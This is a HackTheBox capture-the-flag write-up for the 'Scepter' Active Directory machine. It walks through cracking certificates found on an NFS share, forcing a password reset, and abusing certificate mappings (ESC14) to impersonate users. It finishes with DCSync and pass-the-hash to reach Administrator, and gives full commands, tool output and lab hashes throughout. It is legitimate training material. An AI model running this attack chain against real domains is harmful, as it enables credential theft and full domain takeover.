HackTheBox: Scepter
This box is rated hard difficulty on HTB. It involves us discovering a private key and certificate in an NFS export that can be used to get a user’s NTLM hash, leading to another account takeover via their ForceChangePassword permissions. Enumerating LDAP reveals a weak X509:<RFC822> mapping for another user’s altSecurityIdentities attribute. Abusing our permissions over the Staff Access Certificate OU to get GenericAll on another account enables us to change the mail attribute and request a certificate as a higher-privileged user. This user can then change the altSecurityIdentities attribute of another high-profile target, allowing us to repeat the previous steps and takeover the new account. Finally, we can abuse this user’s membership in the Replication Operators group to perform a DCSync attack, dumping all domain hashes.
Host Scanning
As always, I begin with an Nmap scan against the target IP to find all running services on the host; Repeating the same for UDP yields the typical AD ports.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
└─$ sudo nmap -p53,88,111,135,139,389,445,464,593,636,2049,3268,3269,5985,5986,9389 -sCV 10.129.244.44 -oN fullscan-tcp
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-08 19:51 -0400
Nmap scan report for 10.129.244.44
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-09 07:51:11Z)
111/tcp open rpcbind?
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-09T07:52:12+00:00; +7h59m56s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2025-11-07T20:25:34
|_Not valid after: 2026-11-07T20:25:34
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-09T07:52:12+00:00; +7h59m56s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2025-11-07T20:25:34
|_Not valid after: 2026-11-07T20:25:34
2049/tcp open mountd 1-3 (RPC #100005)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-09T07:52:13+00:00; +7h59m57s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2025-11-07T20:25:34
|_Not valid after: 2026-11-07T20:25:34
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2025-11-07T20:25:34
|_Not valid after: 2026-11-07T20:25:34
|_ssl-date: 2026-05-09T07:52:12+00:00; +7h59m56s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/wsmans?
|_ssl-date: 2026-05-09T07:52:12+00:00; +7h59m56s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41
|_Not valid after: 2025-11-01T00:41:41
| tls-alpn:
| h2
|_ http/1.1
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h59m56s, deviation: 0s, median: 7h59m55s
| smb2-time:
| date: 2026-05-09T07:52:06
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.16 seconds
Looks like a Windows machine with Active Directory components installed on it, more specifically a Domain Controller. LDAP is leaking the Fully Qualified Domain Name of DC01.SCEPTER.HTB which I add to my /etc/hosts file. Since there are no web servers present, I’ll focus mainly on SMB, LDAP, and NFS to gather information initially.
Service Enumeration
Testing out SMB and RPC for Null/Guest authentication both fail and LDAP has anonymous binds disabled as well.
1
2
3
4
5
└─$ ldapsearch -x -H ldap://dc01.scepter.htb -b "dc=MEGACORP,dc=LOCAL" -s base "(objectClass=user)"
└─$ nxc smb dc01.scepter.htb -u 'Guest' -p ''
└─$ rpcclient dc01.scepter.htb -U ''%''
NFS Export
Since there is an NFS server running, I check to see if any directories have been exported and are available to us which reveals one for /helpdesk. We can mount this to our file system and take a look around.
1
2
3
4
5
6
7
8
9
└─$ showmount -e dc01.scepter.htb
└─$ sudo su
└─# mkdir -p /mnt/nfs_share
└─# mount 10.129.244.44:/helpdesk /mnt/nfs_share
└─# ls /mnt/nfs_share
Getting Domain Credentials
Inside are a few certificate files for various users on the domain. These are required to be password-protected, however in my experience, most people don’t bother to put anything complex. We can convert the PFX files into a crackable format with a tool like pfx2john and send it over to Hashcat or JohnTheRipper.
1
2
3
4
5
6
7
8
9
10
11
└─$ pfx2john clark.pfx > clarkhash
└─$ pfx2john lewis.pfx > lewishash
└─$ pfx2john scott.pfx > scotthash
└─$ john lewishash --wordlist=/opt/seclists/rockyou.txt
└─$ john scotthash--wordlist=/opt/seclists/rockyou.txt
└─$ john clarkhash --wordlist=/opt/seclists/rockyou.txt
Looks like they all use the same weak password. We can now use Certipy-AD to authenticate to the Domain Controller and get an NTLM hash for any of the valid certs. Attempting to do so with the three PFX files and our recovered password all fail, returning an error saying that the client is not trusted.
1
2
3
4
5
└─$ certipy-ad auth -pfx lewis.pfx -password newpassword -dc-ip 10.129.244.44
└─$ certipy-ad auth -pfx scott.pfx -password newpassword -dc-ip 10.129.244.44
└─$ certipy-ad auth -pfx clark.pfx -password newpassword -dc-ip 10.129.244.44
If you’re unfamiliar with certificate authentication - In Active Directory environments that support PKINIT, a .pfx contains a user or machine certificate plus its private key, allowing the client to prove possession of that key instead of sending a password during the initial Kerberos AS-REQ. The domain controller validates the certificate chain and maps the certificate to an AD identity (for example via UPN or SID), then issues a Ticket Granting Ticket if the certificate is trusted and authorized. From there, Kerberos works normally-the certificate is only used for the initial authentication step.
This means we can create our own PFX with the files for Baker in the helpdesk mount. I’ll use OpenSSL to combine them into the needed format and provide the password cracked from the other certificates to successfully do so.
1
2
3
4
└─$ openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt
Enter pass phrase for baker.key:
Enter Export Password:
Verifying - Enter Export Password:
Because we’re dealing with Kerberos here, I sync my machine’s time with the Domain Controller’s to prevent any clock skew errors from arising. VMWare likes to override my time configurations, so I usually just stop both time-related daemons whenever doing these types of exploits.
1
2
3
4
5
6
7
8
--Stopping my machine's timsyncd processes--
$ sudo systemctl stop systemd-timesyncd
$ sudo systemctl disable systemd-timesyncd
$ sudo systemctl stop chronyd 2>/dev/null
$ sudo systemctl disable chronyd 2>/dev/null
--Set Clock skew to match the DC's--
$ sudo rdate -n dc01.scepter.htb
Now we can rerun the Certipy-AD auth command which works to grab the NTLM hash for D.Baker this time.
Using this in a Pass-The-Hash attack now lets us authenticate to the domain, which reveals zero non-standard SMB shares and no access to get a shell over WinRM.
Mapping AD via BloodHound
With limited access to services and not much to go off of, I use start mapping the domain with BloodHound and use Bloodhound-Python to gather the data since we don’t have shell access to use SharpHound.
1
2
3
└─$ bloodhound-python -c all --hashes ':18b5fb0d99e7a475316213c15b6f22ce' -u 'd.baker' -d 'scepter.htb' -ns 10.129.244.44
└─$ sudo bloodhound
Changing User Password
Checking which outbound object controls our current user has reveals that we have ForceChangePassword permissions over another user named A.Carter.
I’ll use the net module from PTH-Toolkit to change this from my Kali machine to something simple.
1
└─$ pth-net rpc password 'A.Carter' 'Password123!' -U 'scepter.htb'/'d.baker'%'aad3b435b51404eeaad3b435b51404ee':'18b5fb0d99e7a475316213c15b6f22ce' -S 'dc01.scepter.htb'
Unable to use ESC9
Repeating the same BloodHound enumeration process for this new user shows that we are apart of the IT Support group, which has GenericAll permissions of the Staff Access Certificate Organization Unit (OU).
We already know that Active Directory Certificate Services is installed on the domain, so I use Certipy-AD once again to discover any vulnerable certificate templates. Nothing comes from using A.Carter’s account, however reverting to D.Baker’s hash shows that the StaffAccessCertificate template has no security extension and is vulnerable to ESC9.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
└─$ certipy-ad find -target dc01.scepter.htb -u 'd.baker' -hashes ':18b5fb0d99e7a475316213c15b6f22ce' -dc-ip 10.129.244.44 -stdout -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 36 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 14 enabled certificate templates
[*] Finding issuance policies
[*] Found 21 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'scepter-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'scepter-DC01-CA'
[*] Checking web enrollment for CA 'scepter-DC01-CA' @ 'dc01.scepter.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : scepter-DC01-CA
DNS Name : dc01.scepter.htb
Certificate Subject : CN=scepter-DC01-CA, DC=scepter, DC=htb
Certificate Serial Number : 6FF5E01ECE1FEDB74BFC66CF337AA8A9
Certificate Validity Start : 2025-11-07 18:50:26+00:00
Certificate Validity End : 2062-11-07 19:00:26+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : SCEPTER.HTB\Administrators
Access Rights
ManageCa : SCEPTER.HTB\Administrators
SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Enterprise Admins
ManageCertificates : SCEPTER.HTB\Administrators
SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Enterprise Admins
Enroll : SCEPTER.HTB\Authenticated Users
Certificate Templates
0
Template Name : StaffAccessCertificate
Display Name : StaffAccessCertificate
Certificate Authorities : scepter-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireEmail
SubjectRequireDnsAsCn
SubjectRequireEmail
Enrollment Flag : AutoEnrollment
NoSecurityExtension
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 99 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-01T02:29:00+00:00
Template Last Modified : 2024-11-01T09:00:54+00:00
Permissions
Enrollment Permissions
Enrollment Rights : SCEPTER.HTB\staff
Object Control Permissions
Owner : SCEPTER.HTB\Enterprise Admins
Full Control Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
Write Owner Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
Write Dacl Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
[+] User Enrollable Principals : SCEPTER.HTB\staff
[!] Vulnerabilities
ESC9 : Template has no security extension.
[*] Remarks
ESC9 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
If you’re unfamiliar with this attack vector - ESC9 is an Active Directory Certificate Services misconfiguration where a certificate template is configured without the requester’s SID security extension, causing domain controllers to rely on weaker identity mapping such as UPN-based mapping. An attacker who can enroll in that template and modify an account’s userPrincipalName can temporarily set it to a privileged user (for example, Administrator), request a certificate, then authenticate via PKINIT as that privileged account and obtain Kerberos credentials-effectively escalating privileges to domain admin.
For more information on the ESC techniques and this misconfiguration in particular, check out the Certipy Wiki page.
Unfortunately for us, a few of the requirements to perform this attack is that the User Principal Name (UPN) must be included in the Alternate Subject Name (ASN) as well as the email shouldn’t be in either the subject name or ASN. I only figured this out in the post-exploitation phase, but when an exploit we’re sure of doesn’t work after plenty of tries, it’s better to move on.
Exploitation
Discovering Weak Mapping
BloodHound didn’t reveal anything else too crazy and we still didn’t have a shell to enumerate the filesystem, so I take a look at each account’s attributes via LDAP queries.
1
└─$ nxc ldap dc01.scepter.htb -u 'a.carter' -p 'Password123!' --query "(sAMAccountName=h.brown)" ""
This reveals an unfamiliar attribute for the H.Brown user that intrigued me because none of the others had it assigned. Googling about it shows that it’s a type of security mapping used to associate certificates with users. It’s also stated that the use of X509:<RFC822> is considered weak as it relies on user-related identifiers.
Essentially, if we control another (potentially higher-privileged) account to have the mail attribute set to h.brown@scepter.htb, we can impersonate them.
ESC14
Since A.Carter has GenericAll over the Staff Access Certificate OU and D.Baker is apart of it, we can give ourselves FullControl over the OU using a tool like BloodyAD, and therefore D.Baker. From there we can change the mail attribute to match H.Brown and impersonate them via requesting a certificate. This is also a technique known as ESC14.
1
2
3
4
5
6
7
└─$ bloodyAD --host dc01.scepter.htb -d 'scepter.htb' -u 'A.Carter' -p 'Password123!' add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter
[+] a.carter has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB
└─$ bloodyAD --host dc01.scepter.htb -d 'scepter.htb' -u 'A.Carter' -p 'Password123!' set object d.baker mail -v 'h.brown@scepter.htb'
[+] d.baker's mail has been updated
└─$ certipy-ad req -u d.baker@scepter.htb -hashes ':18b5fb0d99e7a475316213c15b6f22ce' -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.129.244.44
This gives us a PFX file for the D.Baker user except its email matches H.Brown’s, so when we authenticate with it, the DC will think that we are that user. Certipy will take care of grabbing a TGT and resolving an NTLM hash which can be used to login via WinRM since this account is apart of the Remote Management group.
1
└─$ certipy-ad auth -pfx d.baker.pfx -domain scepter.htb -dc-ip 10.129.244.44 -username h.brown
Initial Foothold
After grabbing the hash, authenticating with it prompts an account restriction error. This is because H.Brown is also in the Protected Users group which disables NTLM authentication, among other things.
This isn’t too terrible as we can generate a krb5.conf file to properly configure Kerberos on our machine and then use the .ccache file generated from our earlier Certipy command to grab a shell that way.
1
2
3
4
5
6
7
└─$ nxc smb dc01.scepter.htb --generate-krb5-file scepter.krb5.conf
└─$ export KRB5_CONFIG=scepter.krb5.conf
└─$ export KRB5CCNAME=h.brown.ccache
└─$ evil-winrm -i dc01.scepter.htb -r scepter.htb
At this point we can grab the user flag under their Desktop folder and begin looking at ways to escalate privileges to Administrator.
Privilege Escalation
BloodHound shows that they are the only member in both the Certificate Management Service (CMS) and Helpdesk Admins group.
I figured that we could work our magic with AD CS again, but the lack of outbound object permissions and direct paths to other accounts had me at a loss here. Taking a look at other high-profile targets showed that the P.Adams user is a member of the Replication Operators group, meaning we could abuse the Directory Replication Service (DRS) to perform a DCSync attack and dump all hashes on the domain.
Repeating ESC14
Eventually, I used BloodyAD to enumerate what write permissions we held which revealed that we can actually change the altSecurityIdentities attribute for the P.Adams user. This is presumably from our membership in the CMS group.
1
2
3
4
5
6
7
└─$ bloodyAD --host dc01.scepter.htb -d scepter.htb -k get writable --detail
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=scepter,DC=htb
distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
[...]
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE
The output doesn’t show that one is set and is also the reason I couldn’t see it during my earlier LDAP queries. Given that this could be anything, I just change it to match their name.
1
└─$ bloodyAD --host DC01.scepter.htb -d scepter.htb -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>p.adams@scepter.htb'
From here on, it’s the same attack as before. We can use A.Carter’s privileges to update D.Baker’s mail attribute in order to match the new altSecurityIdentities set for P.Adams. Once that’s set, we request a certificate as D.Baker whilst impersonating P.Adams which should give us a PFX file.
1
2
3
└─$ bloodyAD --host dc01.scepter.htb -d 'scepter.htb' -u 'A.Carter' -p 'Password123!' set object D.Baker mail -v 'p.adams@scepter.htb'
└─$ certipy-ad req -u d.baker@scepter.htb -hashes ':18b5fb0d99e7a475316213c15b6f22ce' -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.129.244.44
Next, we’ll authenticate with it to grab their NTLM hash.
1
└─$ certipy-ad auth -pfx d.baker_442e63f4-aad0-4297-b1ec-bd68877aa2d9.pfx -domain scepter.htb -dc-ip 10.129.244.44 -username p.adams
DCSync Attack
Finally, we already know this user can perform a DCSync attack, so I use Impacket’s secretsdump.py script to carry this out remotely.
Using the Administrator’s NTLM in a Pass-The-Hash attack allows us to grab a shell over WinRM or the service of our choosing and grab the last flag under their Desktop folder.
1
└─$ evil-winrm -i dc01.scepter.htb -u administrator -H '[REDACTED]'
That’s all y’all, this box was super neat due to the primary focus on Active Directory Certificate Services; I learned a lot about mappings and how the service works in general. I hope this was helpful to anyone following along or stuck and happy hacking!






















